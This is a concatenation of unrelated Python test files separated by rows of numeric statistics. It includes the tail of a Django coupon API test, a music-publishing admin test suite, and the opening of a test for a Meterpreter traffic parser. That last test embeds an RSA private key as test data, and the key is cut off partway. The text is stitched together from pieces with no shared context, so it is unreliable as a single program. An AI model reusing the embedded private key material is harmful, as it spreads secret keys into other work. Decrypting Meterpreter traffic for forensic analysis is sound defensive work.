'activity_language': 'FR', 'address_line1': '123 random street', 'address_line2': None, 'carpool_url': None, 'city': '', 'country': 'Random country', 'details': 'This is a description of the mega retirement.', 'email_content': None, 'end_time': '2130-01-17T12:00:00-05:00', 'exclusive_memberships': [], 'form_url': None, 'id': self.retirement.id, 'is_active': True, 'latitude': None, 'longitude': None, 'min_day_exchange': 7, 'min_day_refund': 7, 'name': 'mega_retirement', 'next_user_notified': 0, 'notification_interval': '1 00:00:00', 'pictures': [], 'place_name': '', 'places_remaining': 400, 'postal_code': '123 456', 'price': '199.00', 'refund_rate': 50, 'reservations': [], 'reservations_canceled': [], 'reserved_seats': 0, 'review_url': None, 'seats': 400, 'start_time': '2130-01-15T08:00:00-05:00', 'state_province': 'Random state', 'timezone': None, 'total_reservations': 0, 'url': f'http://testserver/retirement/retirements/' f'{self.retirement.id}', 'users': [], 'has_shared_rooms': True, }], "applicable_timeslots": [{ 'billing_price': 1.0, 'end_time': '2130-01-15T12:00:00-05:00', 'id': self.period.id, 'period': 'http://testserver/periods/' + str(self.period.id), 'places_remaining': 40, 'price': '1.00', 'reservations': [], 'reservations_canceled': [], 'start_time': '2130-01-15T08:00:00-05:00', 'url': 'http://testserver/time_slots/' + str(self.time_slot.id), 'users': [], 'workplace': { 'address_line1': '123 random street', 'address_line2': None, 'city': '', 'country': 'Random country', 'details': 'This is a description of the workplace.', 'id': self.workplace.id, 'latitude': None, 'longitude': None, 'name': 'random_workplace', 'pictures': [], 'place_name': '', 'postal_code': '123 456', 'seats': 40, 'state_province': 'Random state', 'timezone': None, 'volunteers': [], 'url': f'http://testserver/workplaces/{self.workplace.id}' } }], "users": [] } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_200_OK) self.coupon.applicable_retirements.set([]) self.coupon.applicable_timeslots.set([]) self.coupon.applicable_packages.set([]) self.coupon.applicable_memberships.set([]) def test_read_admin(self): """ Ensure we can read any coupon as an admin. """ self.client.force_authenticate(user=self.admin) response = self.client.get( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), ) self.assertEqual( response.status_code, status.HTTP_200_OK, response.content ) data = json.loads(response.content) content = { "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( data, content ) def test_read_non_existent(self): """ Ensure we get not found when asking for a coupon that doesn't exist. """ self.client.force_authenticate(user=self.user) response = self.client.get( reverse( 'coupon-detail', kwargs={'pk': 999}, ), ) content = {'detail': 'Not found.'} self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def test_read_not_authenticated(self): """ Ensure we can't get coupons if not authenticated. """ response = self.client.get( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), ) content = {'detail': 'Authentication credentials were not provided.'} self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
31.182803
79
0.479319
4,354
46,057
4.911346
0.081994
0.016835
0.017677
0.017022
0.847924
0.830668
0.809998
0.808455
0.798494
0.780958
0
0.05219
0.397594
46,057
1,476
80
31.20393
0.718544
0.037171
0
0.767249
0
0.001663
0.2522
0.058359
0
0
0
0
0.047382
1
0.024106
false
0
0.014963
0
0.0399
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e1cf6365e6704a92bb762492c29b21d0d525b65
126
py
Python
feeder/util/mqtt/__init__.py
jordan-hamilton/petnet-feeder-service
66c3192b0e66f4eefb5fd55cceb1219fa1ddb914
[ "MIT" ]
47
2020-04-23T20:28:27.000Z
2020-10-07T19:49:10.000Z
feeder/util/mqtt/__init__.py
jordan-hamilton/petnet-feeder-service
66c3192b0e66f4eefb5fd55cceb1219fa1ddb914
[ "MIT" ]
101
2021-01-23T05:23:33.000Z
2022-03-28T13:38:13.000Z
feeder/util/mqtt/__init__.py
ericchapman80/petnet-api-hacking
23cff84317d7380d7d1c0a2718cc153e83920906
[ "MIT" ]
9
2020-04-25T17:22:44.000Z
2020-10-07T04:36:56.000Z
from feeder.util.mqtt.client import FeederClient # noqa: F401 from feeder.util.mqtt.broker import FeederBroker # noqa: F401
42
62
0.793651
18
126
5.555556
0.611111
0.2
0.28
0.36
0
0
0
0
0
0
0
0.054545
0.126984
126
2
63
63
0.854545
0.166667
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f542a4b0820eb135a06f1ff84b5c1fac1285c646
31,696
py
Python
music_publisher/tests.py
Huanghibo/django-music-publisher
298fe497670c02951d617aa6b6a6e03995fa6562
[ "MIT" ]
1
2021-02-28T07:08:13.000Z
2021-02-28T07:08:13.000Z
music_publisher/tests.py
Huanghibo/django-music-publisher
298fe497670c02951d617aa6b6a6e03995fa6562
[ "MIT" ]
null
null
null
music_publisher/tests.py
Huanghibo/django-music-publisher
298fe497670c02951d617aa6b6a6e03995fa6562
[ "MIT" ]
null
null
null
"""Tests for :mod:`music_publisher`. Please note that all these tests are functional (integration) tests, not unit tests. Attributes: CONTENT (str): CWR ACK file contents """ from django.contrib.auth.models import User from django.core.files.uploadedfile import InMemoryUploadedFile from django.test import TestCase from django.urls import reverse from music_publisher.admin import * from music_publisher.models import * from io import StringIO import os class AllTest(TestCase): """All Tests in a sibgle class. """ fixtures = ['publishing_staff.json'] def setUp(self): """Set up the initial data. """ self.user = User( username='user', is_superuser=False, is_staff=True) self.user.set_password('password') self.user.save() self.user.groups.add(1) def get(self, path, re_post=False): """A helper method that similates opening of view and then simulates manual changes and save. """ response = self.client.get(path) if response.status_code != 200: return response adminform = response.context_data.get('adminform') if not re_post: return response data = {} for sc in response.context: for d in sc: if 'widget' in sc: if (sc['widget'].get('type') == 'select' and sc['widget']['selected'] is False): continue data[sc['widget']['name']] = sc['widget']['value'] if adminform: data.update(adminform.form.initial) if isinstance(re_post, dict): data.update(re_post) for key, value in data.items(): if value is None: data[key] = '' else: data[key] = value response = self.client.post(path, data) return response def test_0_admin_login(self): """Basic navigation tests.""" response = self.get(reverse('admin:index')) self.assertEqual(response.status_code, 302) location = reverse('admin:login') + '?next=' + reverse('admin:index') self.assertEqual( response._headers.get('location'), ( 'Location', location)) response = self.get(location, re_post={ 'username': 'user', 'password': 'wrongpassword'}) self.assertEqual(response.status_code, 200) self.assertIn('errornote', response.content.decode()) response = self.get(location, re_post={ 'username': 'user', 'password': 'password'}) self.assertEqual(response.status_code, 302) self.assertEqual( response._headers.get('location'), ( 'Location', reverse('admin:index'))) def test_1_indices(self): self.client.force_login(self.user) response = self.get(reverse('admin:index')) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:app_list', args=('music_publisher',))) self.assertEqual(response.status_code, 200) def test_2_works(self): self.client.force_login(self.user) response = self.get(reverse('admin:music_publisher_work_changelist',)) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'last_name': 'Lošija', 'ipi_name': 'X', 'ipi_base': '1000000000' }) self.assertEqual(response.status_code, 200) self.assertIn('Name contains invalid', response.content.decode()) self.assertIn('Value must be numeric.', response.content.decode()) self.assertIn('I-NNNNNNNNN-C format', response.content.decode()) response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'first_name': 'VERY', 'last_name': 'COOL', 'ipi_name': '100', 'ipi_base': 'I-123456789-0' }) self.assertEqual(response.status_code, 200) self.assertIn('Not a valid IPI name', response.content.decode()) self.assertIn('Not valid:', response.content.decode()) response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'first_name': 'VERY', 'last_name': 'COOL', 'ipi_name': '199', 'ipi_base': 'I-123456789-3' }) self.assertEqual(response.status_code, 302) writer = Writer.objects.all().first() self.assertFalse(writer._can_be_controlled) response = self.get( reverse('admin:music_publisher_writer_change', args=( writer.id,)), re_post={ 'pr_society': '052' }) self.assertEqual(response.status_code, 302) writer = Writer.objects.all().first() response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'first_name': 'YANKEE', 'last_name': 'DOODLE', 'generally_controlled': 1, }) self.assertEqual(response.status_code, 200) self.assertIn('Unsufficient data for a', response.content.decode()) self.assertIn('This field is required.', response.content.decode()) response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'first_name': 'YANKEE', 'last_name': 'DOODLE', 'ipi_name': '297', 'pr_society': '010', 'saan': 'DREAM', 'publisher_fee': '100' }) self.assertEqual(response.status_code, 200) self.assertIn('Only for a general agreemen', response.content.decode()) response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'first_name': 'YANKEE', 'last_name': 'DOODLE', 'ipi_name': '297', 'pr_society': '010', 'generally_controlled': 1, 'saan': 'DREAM', 'publisher_fee': '100' }) self.assertEqual(response.status_code, 302) writer2 = Writer.objects.filter(pr_society='010').first() response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'last_name': 'THIRD', 'ipi_name': '395', 'pr_society': '010', }) self.assertEqual(response.status_code, 302) writer3 = Writer.objects.filter(last_name='THIRD').first() response = self.get( reverse('admin:music_publisher_writer_add'), re_post={ 'last_name': 'OTHER', }) self.assertEqual(response.status_code, 302) writer4 = Writer.objects.filter(last_name='OTHER').first() response = self.get( reverse('admin:music_publisher_writer_changelist')) self.assertTrue(writer._can_be_controlled) response = self.get( reverse('admin:music_publisher_albumcd_add'), re_post={ 'album_title': 'VERY COOL', 'ean': '199', }) self.assertEqual(response.status_code, 200) self.assertIn('does not match EAN13 format', response.content.decode()) response = self.get( reverse('admin:music_publisher_albumcd_add'), re_post={ 'ean': '1234567890123', }) self.assertEqual(response.status_code, 200) self.assertIn('Invalid EAN.', response.content.decode()) self.assertIn('Required if Album Title ', response.content.decode()) response = self.get( reverse('admin:music_publisher_albumcd_add'), re_post={ 'cd_identifier': 'C00L', 'ean': '1234567890123', }) self.assertEqual(response.status_code, 200) self.assertIn('Required if EAN or release ', response.content.decode()) response = self.get( reverse('admin:music_publisher_albumcd_add'), re_post={ 'album_title': 'VERY COOL', }) self.assertEqual(response.status_code, 302) albumcd = AlbumCD.objects.all().first() self.assertEqual(str(albumcd), 'VERY COOL') response = self.get( reverse('admin:music_publisher_albumcd_change', args=( albumcd.id,)), re_post={ 'cd_identifier': 'C00L', 'release_date': '2018-01-01', 'ean': '4006381333931', }) self.assertEqual(response.status_code, 302) albumcd = AlbumCD.objects.all().first() response = self.get( reverse('admin:music_publisher_albumcd_changelist')) self.assertEqual(response.status_code, 200) self.assertEqual(str(albumcd), 'VERY COOL (C00L)') response = self.get( reverse('admin:music_publisher_artist_add'), re_post={ 'first_name': 'VERY', 'last_name': 'VERY COOL', 'isni': '1234567890123', }) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_artist_add'), re_post={ 'last_name': 'VERY COOL', 'isni': '12345678SD23', }) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_artist_add',), re_post={ 'first_name': 'VERY', 'last_name': 'VERY COOL', 'isni': '1X', }) self.assertEqual(response.status_code, 302) artist = Artist.objects.all().first() response = self.get( reverse('admin:music_publisher_artist_changelist')) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'LOŠ NASLOV', 'iswc': 'ADC', 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'XX', 'writerinwork_set-0-relative_share': '100', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', }) self.assertEqual(response.status_code, 200) self.assertIn('Title contains invalid', response.content.decode()) self.assertIn('match TNNNNNNNNNC', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'GOOD TITLE', 'iswc': 'T1234567893', 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '50', 'writerinwork_set-0-controlled': '', 'writerinwork_set-0-saan': '', 'writerinwork_set-0-publisher_fee': '', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '50', 'writerinwork_set-1-controlled': '', 'writerinwork_set-1-saan': '', 'writerinwork_set-1-publisher_fee': '', 'firstrecording-TOTAL_FORMS': 1, 'firstrecording-0-album_cd': albumcd.id, 'firstrecording-0-isrc': 'USX1X12345', }) self.assertEqual(response.status_code, 200) self.assertIn('must be controlled', response.content.decode()) self.assertIn('not match ISRC', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'GOOD TITLE', 'iswc': 'T1234567894', 'alternatetitle_set-TOTAL_FORMS': 1, 'alternatetitle_set-0-title': 'BETTER TITLE', 'writerinwork_set-TOTAL_FORMS': 5, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '25', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer2.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '11.66', 'writerinwork_set-1-controlled': '1', 'writerinwork_set-2-writer': writer3.id, 'writerinwork_set-2-capacity': 'A ', 'writerinwork_set-2-relative_share': '33.33', 'writerinwork_set-2-controlled': '1', 'writerinwork_set-2-saan': '1LJ4V4', 'writerinwork_set-2-publisher_fee': '25', 'writerinwork_set-3-writer': writer.id, 'writerinwork_set-3-capacity': 'CA', 'writerinwork_set-3-relative_share': '25', 'writerinwork_set-4-writer': writer3.id, 'writerinwork_set-4-relative_share': '5', 'firstrecording-TOTAL_FORMS': 1, 'firstrecording-0-album_cd': albumcd.id, 'firstrecording-0-artist': artist.id, 'firstrecording-0-isrc': 'USX1X1234567', 'firstrecording-0-duration': '01:23', 'firstrecording-0-release_date': '2018-01-31', }) self.assertEqual(response.status_code, 302) work = Work.objects.all().first() settings.MUSIC_PUBLISHER_SETTINGS['allow_multiple_ops'] = False response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'ANOTHER TITLE', 'writerinwork_set-TOTAL_FORMS': 2, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '50', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '50', }) self.assertEqual(response.status_code, 200) settings.MUSIC_PUBLISHER_SETTINGS['allow_multiple_ops'] = True response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'ANOTHER TITLE', 'writerinwork_set-TOTAL_FORMS': 4, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '25', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '25', 'writerinwork_set-2-writer': writer3.id, 'writerinwork_set-2-relative_share': '25', 'writerinwork_set-3-relative_share': '25', 'artistinwork_set-TOTAL_FORMS': 1, 'artistinwork_set-0-artist': artist.id, }) self.assertEqual(response.status_code, 302) work2 = Work.objects.filter(title='ANOTHER TITLE').first() response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'MODIFICATION1', 'original_title': 'ORIGINAL', 'writerinwork_set-TOTAL_FORMS': 4, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '25', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '25', 'writerinwork_set-2-writer': writer3.id, 'writerinwork_set-2-relative_share': '25', 'writerinwork_set-3-relative_share': '25', 'artistinwork_set-TOTAL_FORMS': 1, 'artistinwork_set-0-artist': artist.id, }) self.assertEqual(response.status_code, 200) self.assertIn('one writer must be Arranger', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'MODIFICATION2', 'original_title': 'ORIGINAL', 'writerinwork_set-TOTAL_FORMS': 4, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '25', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'AR', 'writerinwork_set-1-relative_share': '25', 'writerinwork_set-2-writer': writer3.id, 'writerinwork_set-2-relative_share': '25', 'writerinwork_set-3-relative_share': '25', 'artistinwork_set-TOTAL_FORMS': 1, 'artistinwork_set-0-artist': artist.id, }) self.assertEqual(response.status_code, 200) self.assertIn('same as in controlled', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'MODIFICATION', 'original_title': 'ORIGINAL', 'writerinwork_set-TOTAL_FORMS': 4, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'AR', 'writerinwork_set-0-relative_share': '25', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer.id, 'writerinwork_set-1-capacity': 'AR', 'writerinwork_set-1-relative_share': '25', 'writerinwork_set-2-writer': writer3.id, 'writerinwork_set-2-relative_share': '25', 'writerinwork_set-2-capacity': 'CA', 'writerinwork_set-3-relative_share': '25', 'artistinwork_set-TOTAL_FORMS': 1, 'artistinwork_set-0-artist': artist.id, }) self.assertEqual(response.status_code, 302) work3 = Work.objects.filter(title='MODIFICATION').first() response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'NO COMPOSER TITLE', 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'A ', 'writerinwork_set-0-relative_share': '100', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', }) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'OVER 100 PERCENT', 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '101', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', }) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_work_add'), re_post={ 'title': 'ORIGINAL WITH AN ARRANGER', 'writerinwork_set-TOTAL_FORMS': 2, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '0', 'writerinwork_set-1-writer': writer2.id, 'writerinwork_set-1-capacity': 'AR', 'writerinwork_set-1-relative_share': '100', 'writerinwork_set-1-controlled': '1', }) self.assertEqual(response.status_code, 200) self.assertIn('Not allowed in original', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_changelist')) response = self.get( reverse('admin:music_publisher_work_change', args=(work.id,))) PREFIX = settings.MUSIC_PUBLISHER_SETTINGS['work_id_prefix'] settings.MUSIC_PUBLISHER_SETTINGS['work_id_prefix'] = '' response = self.get( reverse('admin:music_publisher_cwrexport_add'), re_post={'nwr_rev': 'NWR', 'works': [work.id, work2.id, work3.id]}) settings.MUSIC_PUBLISHER_SETTINGS['work_id_prefix'] = PREFIX cwr_export = CWRExport.objects.all().first() self.assertEqual(cwr_export.cwr[86:], CWR_CONTENT[86:]) response = self.get( reverse('admin:music_publisher_cwrexport_add'), re_post={'nwr_rev': 'REV', 'works': [work.id, work2.id]}) response = self.get( reverse( 'admin:music_publisher_cwrexport_change', args=(cwr_export.id,)), re_post={'nwr_rev': 'NWR', 'works': [work.id, work2.id]}) response = self.get( '{}?download=1'.format( reverse( 'admin:music_publisher_work_change', args=(cwr_export.id,)))) self.assertEqual(response.status_code, 200) response = self.client.post( reverse('admin:music_publisher_work_changelist'), data={ 'action': 'create_cwr', 'select_across': 1, 'index': 0, '_selected_action': work.id}) response = self.get( reverse('admin:music_publisher_cwrexport_changelist')) self.assertEqual(response.status_code, 200) response = self.get(reverse( 'admin:music_publisher_cwrexport_change', args=(cwr_export.id,))) self.assertEqual(response.status_code, 200) response = self.client.get(reverse( 'admin:music_publisher_cwrexport_change', args=(cwr_export.id,)) + '?download=true',) self.assertEqual(response.status_code, 200) response = self.client.get(reverse( 'admin:music_publisher_cwrexport_change', args=(cwr_export.id,)) + '?preview=true',) self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_work_changelist',) + '?has_iswc=N&has_rec=Y') self.assertEqual(response.status_code, 200) self.get( reverse('admin:music_publisher_work_changelist',) + '?has_iswc=Y&has_rec=N&q=01') self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_artist_add') + '?_popup=1') self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_albumcd_add') + '?_popup=1') self.assertEqual(response.status_code, 200) response = self.get( reverse('admin:music_publisher_work_add') + '?_popup=1') self.assertEqual(response.status_code, 200) mock = StringIO() mock.write(ACK_CONTENT) mock.seek(0) mockfile = InMemoryUploadedFile( mock, 'acknowledgement_file', 'CW180001000_FOO.V21', 'text', 0, None) response = self.get( reverse('admin:music_publisher_ackimport_add'), re_post={'acknowledgement_file': mockfile}) self.assertEqual(response.status_code, 302) ackimport = ACKImport.objects.first() # open and repost mock.seek(0) mockfile = InMemoryUploadedFile( mock, 'acknowledgement_file', 'CW180001000_FOO.V21', 'text', 0, None) response = self.get(reverse( 'admin:music_publisher_ackimport_change', args=(ackimport.id,)), re_post={'acknowledgement_file': mockfile}) self.assertEqual(response.status_code, 302) # second pass, same thing mock.seek(0) mockfile = InMemoryUploadedFile( mock, 'acknowledgement_file', 'CW180001000_FOO.V21', 'text', 0, None) response = self.get( reverse('admin:music_publisher_ackimport_add'), re_post={'acknowledgement_file': mockfile}) self.assertEqual(response.status_code, 302) # incorrect filename mock.seek(0) mockfile = InMemoryUploadedFile( mock, 'acknowledgement_file', 'CW180001000_FOO.V22', 'text', 0, None) response = self.get( reverse('admin:music_publisher_ackimport_add'), re_post={'acknowledgement_file': mockfile}) self.assertEqual(response.status_code, 200) # incorrect header mock.seek(3) mockfile = InMemoryUploadedFile( mock, 'acknowledgement_file', 'CW180001000_FOO.V21', 'text', 0, None) response = self.get( reverse('admin:music_publisher_ackimport_add'), re_post={'acknowledgement_file': mockfile}) self.assertEqual(response.status_code, 200) # Removing needed data from controlled writer response = self.get( reverse('admin:music_publisher_writer_change', args=( writer.id,)), re_post={ 'pr_society': '' }) self.assertEqual(response.status_code, 200) self.assertIn('controlled in at least', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_change', args=(work.id,)), re_post={ 'title': 'GOOD TITLE', 'iswc': 'T1234567894', 'alternatetitle_set-TOTAL_FORMS': 1, 'alternatetitle_set-0-title': 'BETTER TITLE', 'writerinwork_set-TOTAL_FORMS': 2, 'writerinwork_set-0-writer': '', 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '50', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer4.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '50', 'writerinwork_set-1-controlled': '1', 'firstrecording-TOTAL_FORMS': 1, 'firstrecording-0-album_cd': albumcd.id, 'firstrecording-0-artist': artist.id, 'firstrecording-0-isrc': 'USX1X1234567', 'firstrecording-0-duration': '01:23', 'firstrecording-0-release_date': '2018-01-31', }) self.assertEqual(response.status_code, 200) self.assertIn('Must be set for', response.content.decode()) response = self.get( reverse('admin:music_publisher_work_change', args=(work.id,)), re_post={ 'title': 'GOOD TITLE', 'iswc': 'T1234567894', 'alternatetitle_set-TOTAL_FORMS': 1, 'alternatetitle_set-0-title': 'BETTER TITLE', 'writerinwork_set-TOTAL_FORMS': 3, 'writerinwork_set-0-writer': writer.id, 'writerinwork_set-0-capacity': 'CA', 'writerinwork_set-0-relative_share': '50', 'writerinwork_set-0-controlled': '1', 'writerinwork_set-0-saan': '1LJ4V4', 'writerinwork_set-0-publisher_fee': '25', 'writerinwork_set-1-writer': writer2.id, 'writerinwork_set-1-capacity': 'CA', 'writerinwork_set-1-relative_share': '25', 'writerinwork_set-1-controlled': '', 'writerinwork_set-2-writer': writer4.id, 'writerinwork_set-2-saan': '1LJ4V4', 'writerinwork_set-2-publisher_fee': '25', 'firstrecording-TOTAL_FORMS': 1, 'firstrecording-0-album_cd': albumcd.id, 'firstrecording-0-artist': artist.id, 'firstrecording-0-isrc': 'USX1X1234567', 'firstrecording-0-duration': '01:23', 'firstrecording-0-release_date': '2018-01-31', }) self.assertEqual(response.status_code, 200) self.assertIn('Must be set for', response.content.decode()) # JSON must be at the end, so the export is complete response = self.client.post( reverse('admin:music_publisher_work_changelist'), data={ 'action': 'create_normalized_json', 'select_across': 1, 'index': 0, '_selected_action': work.id}) response = self.client.post( reverse('admin:music_publisher_work_changelist'), data={ 'action': 'create_json', 'select_across': 1, 'index': 0, '_selected_action': work.id}) self.assertEqual(str(WorkAcknowledgement.objects.first()), 'RA') ACK_CONTENT = """HDRSO000000021BMI 01.102018060715153220180607 GRHACK0000102.100020180607 ACK0000000000000000201805160910510000100000000NWRONE 00000000000001 123 20180607RA ACK0000000100000000201805160910510000100000001NWRTWO 00000000000002 20180607AS ACK0000000200000000201805160910510000100000002NWRTHREE 00000000000003 20180607AS ACK0000000300000000201805160910510000100000003NWRTHREE 00000000000004 20180607NP ACK0000000400000000201805160910510000100000004NWRX 0000000000000X 20180607NP TRL000010000008000000839""" PATH = os.path.join( os.path.dirname(__file__), 'cwrexample.txt') CWR_CONTENT = open(PATH, 'rb').read().decode()
45.409742
159
0.557925
3,116
31,696
5.463736
0.108472
0.130396
0.070485
0.088576
0.809339
0.781909
0.756123
0.72928
0.708018
0.685932
0
0.058785
0.3184
31,696
697
160
45.474892
0.729263
0.016658
0
0.715805
0
0
0.354138
0.240784
0
0
0
0
0.129179
1
0.007599
false
0.004559
0.021277
0
0.036474
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f5617ee3b062bd7ba9ea249388422866a773e2c3
15,694
py
Python
tests/test_all.py
SpartaEN/meterpreter-traffic-parser
5681c3973ac8fc3bbd478c82fdc27de4ab6c447a
[ "MIT" ]
1
2021-12-22T15:14:54.000Z
2021-12-22T15:14:54.000Z
tests/test_all.py
SpartaEN/meterpreter-traffic-parser
5681c3973ac8fc3bbd478c82fdc27de4ab6c447a
[ "MIT" ]
null
null
null
tests/test_all.py
SpartaEN/meterpreter-traffic-parser
5681c3973ac8fc3bbd478c82fdc27de4ab6c447a
[ "MIT" ]
null
null
null
from meterpreter_traffic_parser import * from Crypto.Util.number import * # Test data private_key = """-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAuaunhUnXgENK6sGqK0qi82yVO/iLzE6LVUTAM4Sy+tu4boLQ L8Qka8LWT2AL4Dok5qUaosDjcW8oQK7RqvKiO/eDtL3Zn4OwhzL4cJm8iME8JIs9 u0XA1afv+y5uXS4bb4lBFEAs7tp4W/TfnUXwidVAIHXL6qvtnLt1GUaXo6QP66lE RYVGD7J1PNKqCbhnwhvC/76JFNPegAFGRrpOuDSJIaVWWDI4pWBNmNu8Dh0eGac+ 7hpEbRaC0f/aMXmir5bwuFLUWjrhRxpQ9CyqRYtstr5tK+Q+QAAf5Hi4qUilMSDo nR8foK/tLwBCrmaBJNUHucRTod/DDUrFYC6FEQIDAQABAoIBACLBiz5cMEcGUcPY NO6drhs7PERZpnG8UkDH+eKq+IYVE1U8j5Qhd1/kvRFmvVJgEABM78t/qBPX5wUU tJL3kH8BOlpfH5nIoQbt96u8W5qN8aA1oHyp9gsIwNeYPXib5O7gFpqf2MlthBJS qHlcWkay8Koi4uUvAe/Q936fxEsRXWjyGi0bds/g6g/29DU7aY27ZElXkol6IVPu 0BP7p2nJDpf40AexUQfOQP3KBF+LQ2dnW6lwdWOS9FQCoCX8F8Xtmy83t45uMRzi R7wQg5whMNgI4yPbK5i8IUpXJ1DBpz+csU3LugkGJ8r5JZygn0BBjCDMGrby6Yyj zsU7J/ECgYEA4v6KIL5eTadbw/J2uPFx26+9TVzwPOqyc8O4KRX78Mk9C5ksnR7u /5DyxcuH4qRaPo3OoQCauXHo2q/WuzA3qG9bP3unN4Ya0Pg7I8pEWAXdyvYqj4Dg rREPuSHPQZL8ACZSpZ9ZfBZGD+gTXVlLx+LlOK6MFQ8+L5s6VJR+RPMCgYEA0WVT 